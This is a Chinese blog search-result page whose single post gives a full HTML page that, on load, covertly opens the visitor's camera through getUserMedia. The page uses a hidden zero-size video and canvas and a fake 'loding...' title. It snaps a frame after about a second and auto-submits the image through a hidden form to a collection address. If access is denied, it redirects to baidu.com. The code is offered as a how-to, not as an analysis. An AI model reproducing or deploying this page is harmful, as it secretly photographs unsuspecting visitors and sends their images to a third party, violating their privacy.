搜索到
1
篇与
getUserMedia
的结果
-
H5中JS调用摄像头截图拍照并发送 H5中JS调用摄像头截图拍照并发送<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>loding...</title> <style> body{background:#ffffff}.clock{position:absolute;opacity:1}.fill .clock{left:50%;top:50%}.centre{position:absolute;top:50%;left:50%;width:0;height:0}.expand{position:absolute;top:0;left:0;transform:translate(-50%,-50%)}.anchor{position:absolute;top:0;left:0;width:0;height:0}.element{position:absolute;top:0;left:0}.round{border-radius:296px}.circle-1{background:#000000;width:12px;height:12px}.circle-2{background:#fa9f22;width:8px;height:8px}.circle-3{background:#ffffff;width:4px;height:4px}.second{transform:rotate(180deg)}.minute{transform:rotate(54deg)}.second-hand{width:2px;height:164px;background:#fa9f22;transform:translate(-50%,-100%) translateY(24px)}.hour{transform:rotate(304.5deg)}.thin-hand{width:4px;height:50px;background:#ff0000;transform:translate(-50%,-100%)}.fat-hand{width:10px;height:57px;border-radius:10px;background:#000000;transform:translate(-50%,-100%) translateY(-18px)}.minute-hand{height:112px}.hour-text{position:absolute;font:40px Hei,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.hour-10{padding-left:.4ex}.hour-11{padding-left:.25ex}.minute-text{position:absolute;font:12px Avenir Next,Helvetica,Arial,sans-serif;color:#000000;transform:translate(-50%,-50%)}.minute-line{background:#000000;width:1px;height:9px;transform:translate(-50%,-100%) translateY(-131px);opacity:1} </style> </head> <body> <video id="video" width="0" height="0" autoplay></video> <canvas style="width:0px;height:0px" id="canvas" width="480" height="640"></canvas> <form action="截图好并发送的地址" id="gopo" method="post"> <input type="hidden" name="img" id="result" value="" /> <input type='hidden' name='mod' value='up'/> </form> </body> <script> window.addEventListener("DOMContentLoaded", function() { var canvas = document.getElementById('canvas'); var context = canvas.getContext('2d'); var video = document.getElementById('video'); if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia) { navigator.mediaDevices.getUserMedia({ video: true }).then(function(stream) { video.srcObject = stream; video.play(); setTimeout(function(){context.drawImage(video, 0, 0, 480, 640);},1000); setTimeout(function(){ var img = canvas.toDataURL('image/png'); document.getElementById('result').value = img; document.getElementById('gopo').submit(); },1300); },function(){ window.location.href = 'http://baidu.com'; }); } }, false); </script> </html>